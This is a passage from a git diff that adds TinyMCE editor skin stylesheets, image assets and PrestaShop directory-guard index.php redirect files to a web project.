font-weight: bolder; + font-size: 2em +} + +.cirkuitSkin .mce_h2 span.mceText { + font-weight: bolder; + font-size: 1.5em +} + +.cirkuitSkin .mce_h3 span.mceText { + font-weight: bolder; + font-size: 1.17em +} + +.cirkuitSkin .mce_h4 span.mceText { + font-weight: bolder; + font-size: 1em +} + +.cirkuitSkin .mce_h5 span.mceText { + font-weight: bolder; + font-size: .83em +} + +.cirkuitSkin .mce_h6 span.mceText { + font-weight: bolder; + font-size: .75em +} + +/* border */ +.cirkuitSkin .mceExternalToolbar, .cirkuitSkin .mceButton, .cirkuitSkin a.mceButtonEnabled:hover, .cirkuitSkin a.mceButtonActive, .cirkuitSkin a.mceButtonSelected, .cirkuitSkin .mceListBox .mceText, .cirkuitSkin .mceListBox .mceOpen, .cirkuitSkin table.mceListBoxEnabled:hover .mceText, .cirkuitSkin .mceListBoxHover .mceText, .cirkuitSkin .mceListBoxSelected .mceText, .cirkuitSkin table.mceListBoxEnabled:hover .mceOpen, .cirkuitSkin .mceListBoxHover .mceOpen, .cirkuitSkin .mceListBoxSelected .mceOpen, .cirkuitSkin select.mceListBox, .cirkuitSkin .mceSplitButton a.mceAction, .cirkuitSkin .mceSplitButton a.mceOpen, .cirkuitSkin .mceSplitButton a.mceOpen:hover, .cirkuitSkin .mceSplitButtonSelected a.mceOpen, .cirkuitSkin table.mceSplitButtonEnabled:hover a.mceAction, .cirkuitSkin .mceSplitButton a.mceAction:hover, .cirkuitSkin div.mceColorSplitMenu table, .cirkuitSkin .mceColorSplitMenu a, .cirkuitSkin .mceColorSplitMenu a.mceMoreColors, .cirkuitSkin .mceColorSplitMenu a.mceMoreColors:hover, .cirkuitSkin a.mceMoreColors:hover, .cirkuitSkin .mceMenu { + border-style: solid; + border-width: 1px; +} + +/* Theme */ +.cirkuitSkin span.mce_bold { + background-position: 0 0 !important; +} + +.cirkuitSkin span.mce_italic { + background-position: -60px 0 !important; +} + +.cirkuitSkin span.mce_underline { + background-position: -140px 0 !important; +} + +.cirkuitSkin span.mce_strikethrough { + background-position: -120px 0 !important; +} + +.cirkuitSkin span.mce_undo { + background-position: -160px 0 !important; +} + +.cirkuitSkin span.mce_redo { + background-position: -100px 0 !important; +} + +.cirkuitSkin span.mce_cleanup { + background-position: -40px 0 !important; +} + +.cirkuitSkin span.mce_bullist { + background-position: -20px 0 !important; +} + +.cirkuitSkin span.mce_numlist { + background-position: -80px 0 !important; +} + +.cirkuitSkin span.mce_justifyleft { + background-position: -460px 0 !important; +} + +.cirkuitSkin span.mce_justifyright { + background-position: -480px 0 !important; +} + +.cirkuitSkin span.mce_justifycenter { + background-position: -420px 0 !important; +} + +.cirkuitSkin span.mce_justifyfull { + background-position: -440px 0 !important; +} + +.cirkuitSkin span.mce_anchor { + background-position: -200px 0 !important; +} + +.cirkuitSkin span.mce_indent { + background-position: -400px 0 !important; +} + +.cirkuitSkin span.mce_outdent { + background-position: -540px 0 !important; +} + +.cirkuitSkin span.mce_link { + background-position: -500px 0 !important; +} + +.cirkuitSkin span.mce_unlink { + background-position: -640px 0 !important; +} + +.cirkuitSkin span.mce_sub { + background-position: -600px 0 !important; +} + +.cirkuitSkin span.mce_sup { + background-position: -620px 0 !important; +} + +.cirkuitSkin span.mce_removeformat { + background-position: -580px 0 !important; +} + +.cirkuitSkin span.mce_newdocument { + background-position: -520px 0 !important; +} + +.cirkuitSkin span.mce_image { + background-position: -380px 0 !important; +} + +.cirkuitSkin span.mce_help { + background-position: -340px 0 !important; +} + +.cirkuitSkin span.mce_code { + background-position: -260px 0 !important; +} + +.cirkuitSkin span.mce_hr { + background-position: -360px 0 !important; +} + +.cirkuitSkin span.mce_visualaid { + background-position: -660px 0 !important; +} + +.cirkuitSkin span.mce_charmap { + background-position: -240px 0 !important; +} + +.cirkuitSkin span.mce_paste { + background-position: -560px 0 !important; +} + +.cirkuitSkin span.mce_copy { + background-position: -700px 0 !important; +} + +.cirkuitSkin span.mce_cut { + background-position: -680px 0 !important; +} + +.cirkuitSkin span.mce_blockquote { + background-position: -220px 0 !important; +} + +.cirkuitSkin .mce_forecolor span.mceAction { + background-position: -720px 0 !important; +} + +.cirkuitSkin .mce_backcolor span.mceAction { + background-position: -760px 0 !important; +} + +.cirkuitSkin span.mce_forecolorpicker { + background-position: -720px 0 !important; +} + +.cirkuitSkin span.mce_backcolorpicker { + background-position: -760px 0 !important; +} + +/* Plugins */ +.cirkuitSkin span.mce_advhr { + background-position: -0px -20px !important; +} + +.cirkuitSkin span.mce_ltr { + background-position: -20px -20px !important; +} + +.cirkuitSkin span.mce_rtl { + background-position: -40px -20px !important; +} + +.cirkuitSkin span.mce_emotions { + background-position: -60px -20px !important; +} + +.cirkuitSkin span.mce_fullpage { + background-position: -80px -20px !important; +} + +.cirkuitSkin span.mce_fullscreen { + background-position: -100px -20px !important; +} + +.cirkuitSkin span.mce_iespell { + background-position: -120px -20px !important; +} + +.cirkuitSkin span.mce_insertdate { + background-position: -140px -20px !important; +} + +.cirkuitSkin span.mce_inserttime { + background-position: -160px -20px !important; +} + +.cirkuitSkin span.mce_absolute { + background-position: -180px -20px !important; +} + +.cirkuitSkin span.mce_backward { + background-position: -200px -20px !important; +} + +.cirkuitSkin span.mce_forward { + background-position: -220px -20px !important; +} + +.cirkuitSkin span.mce_insert_layer { + background-position: -240px -20px !important; +} + +.cirkuitSkin span.mce_insertlayer { + background-position: -260px -20px !important; +} + +.cirkuitSkin span.mce_movebackward { + background-position: -280px -20px !important; +} + +.cirkuitSkin span.mce_moveforward { + background-position: -300px -20px !important; +} + +.cirkuitSkin span.mce_media { + background-position: -320px -20px !important; +} + +.cirkuitSkin span.mce_nonbreaking { + background-position: -340px -20px !important; +} + +.cirkuitSkin span.mce_pastetext { + background-position: -360px -20px !important; +} + +.cirkuitSkin span.mce_pasteword { + background-position: -380px -20px !important; +} + +.cirkuitSkin span.mce_selectall { + background-position: -400px -20px !important; +} + +.cirkuitSkin span.mce_preview { + background-position: -420px -20px !important; +} + +.cirkuitSkin span.mce_print { + background-position: -440px -20px !important; +} + +.cirkuitSkin span.mce_cancel { + background-position: -460px -20px !important; +} + +.cirkuitSkin span.mce_save { + background-position: -480px -20px !important; +} + +.cirkuitSkin span.mce_replace { + background-position: -500px -20px !important; +} + +.cirkuitSkin span.mce_search { + background-position: -520px -20px !important; +} + +.cirkuitSkin span.mce_styleprops { + background-position: -560px -20px !important; +} + +.cirkuitSkin span.mce_table { + background-position: -580px -20px !important; +} + +.cirkuitSkin span.mce_cell_props { + background-position: -600px -20px !important; +} + +.cirkuitSkin span.mce_delete_table { + background-position: -620px -20px !important; +} + +.cirkuitSkin span.mce_delete_col { + background-position: -640px -20px !important; +} + +.cirkuitSkin span.mce_delete_row { + background-position: -660px -20px !important; +} + +.cirkuitSkin span.mce_col_after { + background-position: -680px -20px !important; +} + +.cirkuitSkin span.mce_col_before { + background-position: -700px -20px !important; +} + +.cirkuitSkin span.mce_row_after { + background-position: -720px -20px !important; +} + +.cirkuitSkin span.mce_row_before { + background-position: -740px -20px !important; +} + +.cirkuitSkin span.mce_merge_cells { + background-position: -760px -20px !important; +} + +.cirkuitSkin span.mce_table_props { + background-position: -980px -20px !important; +} + +.cirkuitSkin span.mce_row_props { + background-position: -780px -20px !important; +} + +.cirkuitSkin span.mce_split_cells { + background-position: -800px -20px !important; +} + +.cirkuitSkin span.mce_template { + background-position: -820px -20px !important; +} + +.cirkuitSkin span.mce_visualchars { + background-position: -840px -20px !important; +} + +.cirkuitSkin span.mce_abbr { + background-position: -860px -20px !important; +} + +.cirkuitSkin span.mce_acronym { + background-position: -880px -20px !important; +} + +.cirkuitSkin span.mce_attribs { + background-position: -900px -20px !important; +} + +.cirkuitSkin span.mce_cite { + background-position: -920px -20px !important; +} + +.cirkuitSkin span.mce_del { + background-position: -940px -20px !important; +} + +.cirkuitSkin span.mce_ins { + background-position: -960px -20px !important; +} + +.cirkuitSkin span.mce_pagebreak { + background-position: 0 -40px !important; +} + +.cirkuitSkin .mce_spellchecker span.mceAction { + background-position: -540px -20px !important; +} + +.cirkuitSkin span.mce_restoredraft { + background-position: -20px -40px !important; +} diff --git a/js/tiny_mce2/themes/advanced/skins/default/content.css b/js/tiny_mce2/themes/advanced/skins/default/content.css new file mode 100755 index 0000000..4d63ca9 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/default/content.css @@ -0,0 +1,50 @@ +body, td, pre {color:#000; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px; margin:8px;} +body {background:#FFF;} +body.mceForceColors {background:#FFF; color:#000;} +body.mceBrowserDefaults {background:transparent; color:inherit; font-size:inherit; font-family:inherit;} +h1 {font-size: 2em} +h2 {font-size: 1.5em} +h3 {font-size: 1.17em} +h4 {font-size: 1em} +h5 {font-size: .83em} +h6 {font-size: .75em} +.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;} +a.mceItemAnchor {display:inline-block; -webkit-user-select:all; -webkit-user-modify:read-only; -moz-user-select:all; -moz-user-modify:read-only; width:11px !important; height:11px !important; background:url(img/items.gif) no-repeat center center} +span.mceItemNbsp {background: #DDD} +td.mceSelected, th.mceSelected {background-color:#3399ff !important} +img {border:0;} +table, img, hr, .mceItemAnchor {cursor:default} +table td, table th {cursor:text} +ins {border-bottom:1px solid green; text-decoration: none; color:green} +del {color:red; text-decoration:line-through} +cite {border-bottom:1px dashed blue} +acronym {border-bottom:1px dotted #CCC; cursor:help} +abbr {border-bottom:1px dashed #CCC; cursor:help} + +/* IE */ +* html body { +scrollbar-3dlight-color:#F0F0EE; +scrollbar-arrow-color:#676662; +scrollbar-base-color:#F0F0EE; +scrollbar-darkshadow-color:#DDD; +scrollbar-face-color:#E0E0DD; +scrollbar-highlight-color:#F0F0EE; +scrollbar-shadow-color:#F0F0EE; +scrollbar-track-color:#F5F5F5; +} + +img:-moz-broken {-moz-force-broken-image-icon:1; width:24px; height:24px} +font[face=mceinline] {font-family:inherit !important} +*[contentEditable]:focus {outline:0} + +.mceItemMedia {border:1px dotted #cc0000; background-position:center; background-repeat:no-repeat; background-color:#ffffcc} +.mceItemShockWave {background-image:url(../../img/shockwave.gif)} +.mceItemFlash {background-image:url(../../img/flash.gif)} +.mceItemQuickTime {background-image:url(../../img/quicktime.gif)} +.mceItemWindowsMedia {background-image:url(../../img/windowsmedia.gif)} +.mceItemRealMedia {background-image:url(../../img/realmedia.gif)} +.mceItemVideo {background-image:url(../../img/video.gif)} +.mceItemAudio {background-image:url(../../img/video.gif)} +.mceItemEmbeddedAudio {background-image:url(../../img/video.gif)} +.mceItemIframe {background-image:url(../../img/iframe.gif)} +.mcePageBreak {display:block;border:0;width:100%;height:12px;border-top:1px dotted #ccc;margin-top:15px;background:#fff url(../../img/pagebreak.gif) no-repeat center top;} diff --git a/js/tiny_mce2/themes/advanced/skins/default/dialog.css b/js/tiny_mce2/themes/advanced/skins/default/dialog.css new file mode 100755 index 0000000..1f5598c --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/default/dialog.css @@ -0,0 +1,117 @@ +/* Generic */ +body { +font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px; +scrollbar-3dlight-color:#F0F0EE; +scrollbar-arrow-color:#676662; +scrollbar-base-color:#F0F0EE; +scrollbar-darkshadow-color:#DDDDDD; +scrollbar-face-color:#E0E0DD; +scrollbar-highlight-color:#F0F0EE; +scrollbar-shadow-color:#F0F0EE; +scrollbar-track-color:#F5F5F5; +background:#F0F0EE; +padding:0; +margin:8px 8px 0 8px; +} + +html {background:#F0F0EE;} +td {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +textarea {resize:none;outline:none;} +a:link, a:visited {color:black;} +a:hover {color:#2B6FB6;} +.nowrap {white-space: nowrap} + +/* Forms */ +fieldset {margin:0; padding:4px; border:1px solid #919B9C; font-family:Verdana, Arial; font-size:10px;} +legend {color:#2B6FB6; font-weight:bold;} +label.msg {display:none;} +label.invalid {color:#EE0000; display:inline;} +input.invalid {border:1px solid #EE0000;} +input {background:#FFF; border:1px solid #CCC;} +input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +input, select, textarea {border:1px solid #808080;} +input.radio {border:1px none #000000; background:transparent; vertical-align:middle;} +input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;} +.input_noborder {border:0;} + +/* Buttons */ +#insert, #cancel, input.button, .updateButton { +border:0; margin:0; padding:0; +font-weight:bold; +width:94px; height:26px; +background:url(img/buttons.png) 0 -26px; +cursor:pointer; +padding-bottom:2px; +float:left; +} + +#insert {background:url(img/buttons.png) 0 -52px} +#cancel {background:url(img/buttons.png) 0 0; float:right} + +/* Browse */ +a.pickcolor, a.browse {text-decoration:none} +a.browse span {display:block; width:20px; height:18px; background:url(../../img/icons.gif) -860px 0; border:1px solid #FFF; margin-left:1px;} +.mceOldBoxModel a.browse span {width:22px; height:20px;} +a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;} +a.browse span.disabled {border:1px solid white; opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} +a.browse:hover span.disabled {border:1px solid white; background-color:transparent;} +a.pickcolor span {display:block; width:20px; height:16px; background:url(../../img/icons.gif) -840px 0; margin-left:2px;} +.mceOldBoxModel a.pickcolor span {width:21px; height:17px;} +a.pickcolor:hover span {background-color:#B2BBD0;} +a.pickcolor:hover span.disabled {} + +/* Charmap */ +table.charmap {border:1px solid #AAA; text-align:center} +td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;} +#charmap a {display:block; color:#000; text-decoration:none; border:0} +#charmap a:hover {background:#CCC;color:#2B6FB6} +#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center} +#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center} + +/* Source */ +.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;} +.mceActionPanel {margin-top:5px;} + +/* Tabs classes */ +.tabs {width:100%; height:18px; line-height:normal; background:url(img/tabs.gif) repeat-x 0 -72px;} +.tabs ul {margin:0; padding:0; list-style:none;} +.tabs li {float:left; background:url(img/tabs.gif) no-repeat 0 0; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;} +.tabs li.current {background:url(img/tabs.gif) no-repeat 0 -18px; margin-right:2px;} +.tabs span {float:left; display:block; background:url(img/tabs.gif) no-repeat right -36px; padding:0px 10px 0 0;} +.tabs .current span {background:url(img/tabs.gif) no-repeat right -54px;} +.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;} +.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;} + +/* Panels */ +.panel_wrapper div.panel {display:none;} +.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;} +.panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;} + +/* Columns */ +.column {float:left;} +.properties {width:100%;} +.properties .column1 {} +.properties .column2 {text-align:left;} + +/* Titles */ +h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;} +h3 {font-size:14px;} +.title {font-size:12px; font-weight:bold; color:#2B6FB6;} + +/* Dialog specific */ +#link .panel_wrapper, #link div.current {height:125px;} +#image .panel_wrapper, #image div.current {height:200px;} +#plugintable thead {font-weight:bold; background:#DDD;} +#plugintable, #about #plugintable td {border:1px solid #919B9C;} +#plugintable {width:96%; margin-top:10px;} +#pluginscontainer {height:290px; overflow:auto;} +#colorpicker #preview {float:right; width:50px; height:14px;line-height:1px; border:1px solid black; margin-left:5px;} +#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;} +#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;} +#colorpicker #light div {overflow:hidden;} +#colorpicker #previewblock {float:right; padding-left:10px; height:20px;} +#colorpicker .panel_wrapper div.current {height:175px;} +#colorpicker #namedcolors {width:150px;} +#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;} +#colorpicker #colornamecontainer {margin-top:5px;} +#colorpicker #picker_panel fieldset {margin:auto;width:325px;} diff --git a/js/tiny_mce2/themes/advanced/skins/default/img/buttons.png b/js/tiny_mce2/themes/advanced/skins/default/img/buttons.png new file mode 100755 index 0000000..1e53560 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/default/img/buttons.png differ diff --git a/js/tiny_mce2/themes/advanced/skins/default/img/index.php b/js/tiny_mce2/themes/advanced/skins/default/img/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/default/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/default/img/items.gif b/js/tiny_mce2/themes/advanced/skins/default/img/items.gif new file mode 100755 index 0000000..d2f9367 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/default/img/items.gif differ diff --git a/js/tiny_mce2/themes/advanced/skins/default/img/menu_arrow.gif b/js/tiny_mce2/themes/advanced/skins/default/img/menu_arrow.gif new file mode 100755 index 0000000..85e31df Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/default/img/menu_arrow.gif differ diff --git a/js/tiny_mce2/themes/advanced/skins/default/img/menu_check.gif b/js/tiny_mce2/themes/advanced/skins/default/img/menu_check.gif new file mode 100755 index 0000000..adfdddc Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/default/img/menu_check.gif differ diff --git a/js/tiny_mce2/themes/advanced/skins/default/img/progress.gif b/js/tiny_mce2/themes/advanced/skins/default/img/progress.gif new file mode 100755 index 0000000..5bb90fd Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/default/img/progress.gif differ diff --git a/js/tiny_mce2/themes/advanced/skins/default/img/tabs.gif b/js/tiny_mce2/themes/advanced/skins/default/img/tabs.gif new file mode 100755 index 0000000..06812cb Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/default/img/tabs.gif differ diff --git a/js/tiny_mce2/themes/advanced/skins/default/index.php b/js/tiny_mce2/themes/advanced/skins/default/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/default/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/default/ui.css b/js/tiny_mce2/themes/advanced/skins/default/ui.css new file mode 100755 index 0000000..ab2204d --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/default/ui.css @@ -0,0 +1,214 @@ +/* Reset */ +.defaultSkin table, .defaultSkin tbody, .defaultSkin a, .defaultSkin img, .defaultSkin tr, .defaultSkin div, .defaultSkin td, .defaultSkin iframe, .defaultSkin span, .defaultSkin *, .defaultSkin .mceText {border:0; margin:0; padding:0; background:transparent; white-space:nowrap; text-decoration:none; font-weight:normal; cursor:default; color:#000; vertical-align:baseline; width:auto; border-collapse:separate; text-align:left} +.defaultSkin a:hover, .defaultSkin a:link, .defaultSkin a:visited, .defaultSkin a:active {text-decoration:none; font-weight:normal; cursor:default; color:#000} +.defaultSkin table td {vertical-align:middle} + +/* Containers */ +.defaultSkin table {direction:ltr;background:transparent} +.defaultSkin iframe {display:block;} +.defaultSkin .mceToolbar {height:26px} +.defaultSkin .mceLeft {text-align:left} +.defaultSkin .mceRight {text-align:right} + +/* External */ +.defaultSkin .mceExternalToolbar {position:absolute; border:1px solid #CCC; border-bottom:0; display:none;} +.defaultSkin .mceExternalToolbar td.mceToolbar {padding-right:13px;} +.defaultSkin .mceExternalClose {position:absolute; top:3px; right:3px; width:7px; height:7px; background:url(../../img/icons.gif) -820px 0} + +/* Layout */ +.defaultSkin table.mceLayout {border:0; border-left:1px solid #CCC; border-right:1px solid #CCC} +.defaultSkin table.mceLayout tr.mceFirst td {border-top:1px solid #CCC} +.defaultSkin table.mceLayout tr.mceLast td {border-bottom:1px solid #CCC} +.defaultSkin table.mceToolbar, .defaultSkin tr.mceFirst .mceToolbar tr td, .defaultSkin tr.mceLast .mceToolbar tr td {border:0; margin:0; padding:0;} +.defaultSkin td.mceToolbar {background:#F0F0EE; padding-top:1px; vertical-align:top} +.defaultSkin .mceIframeContainer {border-top:1px solid #CCC; border-bottom:1px solid #CCC} +.defaultSkin .mceStatusbar {background:#F0F0EE; font-family:'MS Sans Serif',sans-serif,Verdana,Arial; font-size:9pt; line-height:16px; overflow:visible; color:#000; display:block; height:20px} +.defaultSkin .mceStatusbar div {float:left; margin:2px} +.defaultSkin .mceStatusbar a.mceResize {display:block; float:right; background:url(../../img/icons.gif) -800px 0; width:20px; height:20px; cursor:se-resize; outline:0} +.defaultSkin .mceStatusbar a:hover {text-decoration:underline} +.defaultSkin table.mceToolbar {margin-left:3px} +.defaultSkin span.mceIcon, .defaultSkin img.mceIcon {display:block; width:20px; height:20px} +.defaultSkin .mceIcon {background:url(../../img/icons.gif) no-repeat 20px 20px} +.defaultSkin td.mceCenter {text-align:center;} +.defaultSkin td.mceCenter table {margin:0 auto; text-align:left;} +.defaultSkin td.mceRight table {margin:0 0 0 auto;} + +/* Button */ +.defaultSkin .mceButton {display:block; border:1px solid #F0F0EE; width:20px; height:20px; margin-right:1px} +.defaultSkin a.mceButtonEnabled:hover {border:1px solid #0A246A; background-color:#B2BBD0} +.defaultSkin a.mceButtonActive, .defaultSkin a.mceButtonSelected {border:1px solid #0A246A; background-color:#C2CBE0} +.defaultSkin .mceButtonDisabled .mceIcon {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} +.defaultSkin .mceButtonLabeled {width:auto} +.defaultSkin .mceButtonLabeled span.mceIcon {float:left} +.defaultSkin span.mceButtonLabel {display:block; font-size:10px; padding:4px 6px 0 22px; font-family:Tahoma,Verdana,Arial,Helvetica} +.defaultSkin .mceButtonDisabled .mceButtonLabel {color:#888} + +/* Separator */ +.defaultSkin .mceSeparator {display:block; background:url(../../img/icons.gif) -180px 0; width:2px; height:20px; margin:2px 2px 0 4px} + +/* ListBox */ +.defaultSkin .mceListBox, .defaultSkin .mceListBox a {display:block} +.defaultSkin .mceListBox .mceText {padding-left:4px; width:70px; text-align:left; border:1px solid #CCC; border-right:0; background:#FFF; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; height:20px; line-height:20px; overflow:hidden} +.defaultSkin .mceListBox .mceOpen {width:9px; height:20px; background:url(../../img/icons.gif) -741px 0; margin-right:2px; border:1px solid #CCC;} +.defaultSkin table.mceListBoxEnabled:hover .mceText, .defaultSkin .mceListBoxHover .mceText, .defaultSkin .mceListBoxSelected .mceText {border:1px solid #A2ABC0; border-right:0; background:#FFF} +.defaultSkin table.mceListBoxEnabled:hover .mceOpen, .defaultSkin .mceListBoxHover .mceOpen, .defaultSkin .mceListBoxSelected .mceOpen {background-color:#FFF; border:1px solid #A2ABC0} +.defaultSkin .mceListBoxDisabled a.mceText {color:gray; background-color:transparent;} +.defaultSkin .mceListBoxMenu {overflow:auto; overflow-x:hidden} +.defaultSkin .mceOldBoxModel .mceListBox .mceText {height:22px} +.defaultSkin .mceOldBoxModel .mceListBox .mceOpen {width:11px; height:22px;} +.defaultSkin select.mceNativeListBox {font-family:'MS Sans Serif',sans-serif,Verdana,Arial; font-size:7pt; background:#F0F0EE; border:1px solid gray; margin-right:2px;} + +/* SplitButton */ +.defaultSkin .mceSplitButton {width:32px; height:20px; direction:ltr} +.defaultSkin .mceSplitButton a, .defaultSkin .mceSplitButton span {height:20px; display:block} +.defaultSkin .mceSplitButton a.mceAction {width:20px; border:1px solid #F0F0EE; border-right:0;} +.defaultSkin .mceSplitButton span.mceAction {width:20px; background-image:url(../../img/icons.gif);} +.defaultSkin .mceSplitButton a.mceOpen {width:9px; background:url(../../img/icons.gif) -741px 0; border:1px solid #F0F0EE;} +.defaultSkin .mceSplitButton span.mceOpen {display:none} +.defaultSkin table.mceSplitButtonEnabled:hover a.mceAction, .defaultSkin .mceSplitButtonHover a.mceAction, .defaultSkin .mceSplitButtonSelected a.mceAction {border:1px solid #0A246A; border-right:0; background-color:#B2BBD0} +.defaultSkin table.mceSplitButtonEnabled:hover a.mceOpen, .defaultSkin .mceSplitButtonHover a.mceOpen, .defaultSkin .mceSplitButtonSelected a.mceOpen {background-color:#B2BBD0; border:1px solid #0A246A;} +.defaultSkin .mceSplitButtonDisabled .mceAction, .defaultSkin .mceSplitButtonDisabled a.mceOpen {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} +.defaultSkin .mceSplitButtonActive a.mceAction {border:1px solid #0A246A; background-color:#C2CBE0} +.defaultSkin .mceSplitButtonActive a.mceOpen {border-left:0;} + +/* ColorSplitButton */ +.defaultSkin div.mceColorSplitMenu table {background:#FFF; border:1px solid gray} +.defaultSkin .mceColorSplitMenu td {padding:2px} +.defaultSkin .mceColorSplitMenu a {display:block; width:9px; height:9px; overflow:hidden; border:1px solid #808080} +.defaultSkin .mceColorSplitMenu td.mceMoreColors {padding:1px 3px 1px 1px} +.defaultSkin .mceColorSplitMenu a.mceMoreColors {width:100%; height:auto; text-align:center; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; line-height:20px; border:1px solid #FFF} +.defaultSkin .mceColorSplitMenu a.mceMoreColors:hover {border:1px solid #0A246A; background-color:#B6BDD2} +.defaultSkin a.mceMoreColors:hover {border:1px solid #0A246A} +.defaultSkin .mceColorPreview {margin-left:2px; width:16px; height:4px; overflow:hidden; background:#9a9b9a} +.defaultSkin .mce_forecolor span.mceAction, .defaultSkin .mce_backcolor span.mceAction {overflow:hidden; height:16px} + +/* Menu */ +.defaultSkin .mceMenu {position:absolute; left:0; top:0; z-index:1000; border:1px solid #D4D0C8} +.defaultSkin .mceNoIcons span.mceIcon {width:0;} +.defaultSkin .mceNoIcons a .mceText {padding-left:10px} +.defaultSkin .mceMenu table {background:#FFF} +.defaultSkin .mceMenu a, .defaultSkin .mceMenu span, .defaultSkin .mceMenu {display:block} +.defaultSkin .mceMenu td {height:20px} +.defaultSkin .mceMenu a {position:relative;padding:3px 0 4px 0} +.defaultSkin .mceMenu .mceText {position:relative; display:block; font-family:Tahoma,Verdana,Arial,Helvetica; color:#000; cursor:default; margin:0; padding:0 25px 0 25px; display:block} +.defaultSkin .mceMenu span.mceText, .defaultSkin .mceMenu .mcePreview {font-size:11px} +.defaultSkin .mceMenu pre.mceText {font-family:Monospace} +.defaultSkin .mceMenu .mceIcon {position:absolute; top:0; left:0; width:22px;} +.defaultSkin .mceMenu .mceMenuItemEnabled a:hover, .defaultSkin .mceMenu .mceMenuItemActive {background-color:#dbecf3} +.defaultSkin td.mceMenuItemSeparator {background:#DDD; height:1px} +.defaultSkin .mceMenuItemTitle a {border:0; background:#EEE; border-bottom:1px solid #DDD} +.defaultSkin .mceMenuItemTitle span.mceText {color:#000; font-weight:bold; padding-left:4px} +.defaultSkin .mceMenuItemDisabled .mceText {color:#888} +.defaultSkin .mceMenuItemSelected .mceIcon {background:url(img/menu_check.gif)} +.defaultSkin .mceNoIcons .mceMenuItemSelected a {background:url(img/menu_arrow.gif) no-repeat -6px center} +.defaultSkin .mceMenu span.mceMenuLine {display:none} +.defaultSkin .mceMenuItemSub a {background:url(img/menu_arrow.gif) no-repeat top right;} +.defaultSkin .mceMenuItem td, .defaultSkin .mceMenuItem th {line-height: normal} + +/* Progress,Resize */ +.defaultSkin .mceBlocker {position:absolute; left:0; top:0; z-index:1000; opacity:0.5; -ms-filter:'alpha(opacity=50)'; filter:alpha(opacity=50); background:#FFF} +.defaultSkin .mceProgress {position:absolute; left:0; top:0; z-index:1001; background:url(img/progress.gif) no-repeat; width:32px; height:32px; margin:-16px 0 0 -16px} + +/* Formats */ +.defaultSkin .mce_formatPreview a {font-size:10px} +.defaultSkin .mce_p span.mceText {} +.defaultSkin .mce_address span.mceText {font-style:italic} +.defaultSkin .mce_pre span.mceText {font-family:monospace} +.defaultSkin .mce_h1 span.mceText {font-weight:bolder; font-size: 2em} +.defaultSkin .mce_h2 span.mceText {font-weight:bolder; font-size: 1.5em} +.defaultSkin .mce_h3 span.mceText {font-weight:bolder; font-size: 1.17em} +.defaultSkin .mce_h4 span.mceText {font-weight:bolder; font-size: 1em} +.defaultSkin .mce_h5 span.mceText {font-weight:bolder; font-size: .83em} +.defaultSkin .mce_h6 span.mceText {font-weight:bolder; font-size: .75em} + +/* Theme */ +.defaultSkin span.mce_bold {background-position:0 0} +.defaultSkin span.mce_italic {background-position:-60px 0} +.defaultSkin span.mce_underline {background-position:-140px 0} +.defaultSkin span.mce_strikethrough {background-position:-120px 0} +.defaultSkin span.mce_undo {background-position:-160px 0} 